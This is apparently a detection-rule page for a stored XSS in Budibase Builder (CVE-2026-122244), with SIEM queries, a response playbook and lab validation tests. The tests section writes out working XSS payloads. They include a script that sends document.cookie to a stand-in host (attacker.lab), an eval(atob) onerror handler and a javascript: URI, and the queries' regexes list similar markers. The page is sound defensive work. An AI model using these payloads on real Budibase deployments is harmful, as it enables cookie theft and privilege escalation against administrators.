Detect Budibase Builder Cross-privilege Stored XSS via jsonFormatter in {@html} (CVE-2026-122244) in CrowdStrike LogScale
Detects exploitation and presence of CVE-2026-122244, a cross-privilege stored XSS in the Budibase Builder. The `jsonFormatter.format()` helper in @budibase/server <= 3.38.1 performs broken HTML-escaping; its output is rendered via Svelte's `{@html}` directive in the Builder origin, which ships without a Content-Security-Policy. A lower-privileged tenant user can store JSON data (e.g. automation/table/datasource values) containing HTML/script markup that, when a higher-privileged Builder/admin views the formatted JSON, executes in the CSP-less Builder origin, enabling session theft, API-key exfiltration, and privilege escalation. This detection surfaces XSS payloads being stored through Budibase server APIs, anomalous Builder-origin responses containing unescaped markup, and outbound beaconing from admin browser sessions following Builder JSON rendering.
MITRE ATT&CK
LogScale Detection Query
// df00tech DF00-589dbf81eb · https://df00tech.com/detections/CVE-2026-122244 · licence: https://df00tech.com/detections/licence
#event_simpleName=/^(NetworkConnectIP4|HttpRequest)$/
| HttpMethod=/POST|PUT|PATCH/
| HttpPath=/\/(api|builder|global|metadata)/i
| HttpBody=/(?i)(<script|onerror=|onload=|<svg|<img|javascript:|<iframe|document\.cookie|fetch\(|eval\()/
| groupBy([aid, RemoteAddressIP4, HttpPath], function=([count(), collect([HttpBody])])) CrowdStrike CQL (LogScale) query matching Budibase write HTTP events carrying XSS markup in the body.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate HTML content stored via Budibase data APIs.
- Internal security testing traffic.
- Partial/encoded body capture yielding spurious matches.
Other platforms for CVE-2026-122244
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Store script-tag XSS payload in Budibase JSON field
Expected signal: Web/proxy POST log to /api/metadata containing <script> and document.cookie markup.
- Test 2 Store img onerror handler payload
Expected signal: Web log PUT to /api/datasources with onerror= and eval() markup.
- Test 3 Store svg-based JavaScript URI payload
Expected signal: Web log POST to /api/automations containing <svg> and javascript: markup.
References (6)
- https://github.com/Budibase/budibase/security/advisories/GHSA-r2q3-7m4h-63qg
- https://nvd.nist.gov/vuln/detail/CVE-2026-122244
- https://github.com/Budibase/budibase/commit/5f37fb43728639c540cc7233283f1100e9315424
- https://github.com/Budibase/budibase/releases/tag/v3.50.0
- https://github.com/Budibase/budibase/releases/tag/v4.0.0
- https://github.com/advisories/GHSA-r2q3-7m4h-63qg
Response Playbook
Triage
- Identify the targeted Budibase deployment and confirm its version; versions <= 3.38.1 of @budibase/server are vulnerable. Patched in v3.50.0 and v4.0.0.
- Review the flagged request: determine which tenant/user stored the payload and which JSON-bearing object (automation step, table row, datasource config, metadata) it landed in.
- Determine whether a higher-privileged Builder/admin subsequently opened the view that renders the stored JSON via `{@html}`, which is the point of execution.
- Inspect the stored payload for session/cookie theft, API-key exfiltration, or privileged API calls (e.g. user-role changes) issued from the Builder origin.
Containment
- Upgrade @budibase/server to v3.50.0 or v4.0.0 (contains fix commit 5f37fb43728639c540cc7233283f1100e9315424), or apply the vendor patch to jsonFormatter escaping.
- Revoke and rotate Builder/admin sessions and any API keys that could have been exposed in the CSP-less Builder origin; invalidate affected JWTs.
- Quarantine or sanitize the stored malicious JSON records to prevent re-execution when admins revisit the Builder view.
Evidence Collection
- Preserve web/proxy logs showing the storing request (source IP, user, endpoint, payload) and the subsequent admin Builder access.
- Export the affected Budibase database records containing the stored JSON payload and capture the rendered Builder HTML response.
Escalation Criteria
- !Escalate to incident response if admin session cookies or API keys show evidence of exfiltration or reuse from an unexpected IP.
- !Escalate if the payload performed privileged actions (role elevation, new admin creation, datasource credential access) indicating successful cross-privilege compromise.
Investigation Guide
Forensic Artifacts
- >
Budibase database records (automations, tables, datasources, metadata) containing unescaped HTML/script in JSON fields. - >
Web/proxy access logs correlating the payload-storing request with later admin Builder page loads. - >
Browser/network telemetry of outbound requests from admin sessions to attacker-controlled hosts after Builder JSON rendering.
Tuning Guidance
Baseline which Budibase JSON fields legitimately accept HTML content in your environment and allowlist those endpoints/users to cut noise. Narrow the regex to strong indicators (document.cookie, javascript:, <script> with event handlers) if CMS-style data causes excessive hits. Correlate storing requests with subsequent admin/Builder page views to prioritize true cross-privilege exploitation over benign HTML storage.
Hunting Queries
Hunt for stored XSS payloads containing cookie-theft or script markup submitted to Budibase API endpoints.
// df00tech DF00-589dbf81eb · https://df00tech.com/detections/CVE-2026-122244 · licence: https://df00tech.com/detections/licence
W3CIISLog | where CsUriStem has "/api/" and CsMethod in ("POST","PUT","PATCH") | extend b=url_decode(tostring(CsUriQuery)) | where b has_any ("document.cookie","<script","onerror=","fetch(") | project TimeGenerated, ClientIP, CsUriStem, b ``` df00tech DF00-589dbf81eb · https://df00tech.com/detections/CVE-2026-122244 · licence: https://df00tech.com/detections/licence ```
index=web sourcetype=iis (method=POST OR method=PUT OR method=PATCH) uri_path="*/api/*" | eval d=urldecode(uri_query) | where match(d,"(?i)(document\.cookie|<script|onerror=|fetch\()") | table _time src_ip user uri_path d Atomic Red Team Tests
Submits a JSON document containing a <script> payload to a Budibase API endpoint to simulate a lower-privileged user planting a stored XSS.
Command
curl -s -X POST "http://budibase.lab.local/api/metadata/type/doc" -H 'Content-Type: application/json' -H "x-budibase-app-id: app_lab" -d '{"name":"<script>fetch(\"http://attacker.lab/c?\"+document.cookie)</script>"}' Cleanup
curl -s -X DELETE "http://budibase.lab.local/api/metadata/type/doc" -H "x-budibase-app-id: app_lab" Expected Telemetry
Web/proxy POST log to /api/metadata containing <script> and document.cookie markup.
Expected Detection
KQL/SPL rules flag the POST request carrying XSS markup to a Budibase API endpoint.
Plants an <img onerror> XSS payload in a Budibase datasource config JSON value.
Command
curl -s -X PUT "http://budibase.lab.local/api/datasources/ds_lab" -H 'Content-Type: application/json' -d '{"config":{"note":"<img src=x onerror=eval(atob(\"YWxlcnQoMSk=\"))>"}}' Cleanup
curl -s -X PUT "http://budibase.lab.local/api/datasources/ds_lab" -H 'Content-Type: application/json' -d '{"config":{"note":""}}' Expected Telemetry
Web log PUT to /api/datasources with onerror= and eval() markup.
Expected Detection
Detection flags onerror=/eval( markup in a Budibase write request.
Submits an <svg> payload using a javascript: URI to a Budibase automation step JSON field.
Command
powershell -c "Invoke-RestMethod -Method Post -Uri 'http://budibase.lab.local/api/automations' -ContentType 'application/json' -Body '{\"name\":\"<svg><a href=javascript:alert(document.domain)>x</a></svg>\"}'" Cleanup
powershell -c "Invoke-RestMethod -Method Delete -Uri 'http://budibase.lab.local/api/automations/auto_lab'" Expected Telemetry
Web log POST to /api/automations containing <svg> and javascript: markup.
Expected Detection
Detection flags <svg>/javascript: markup in a Budibase write request.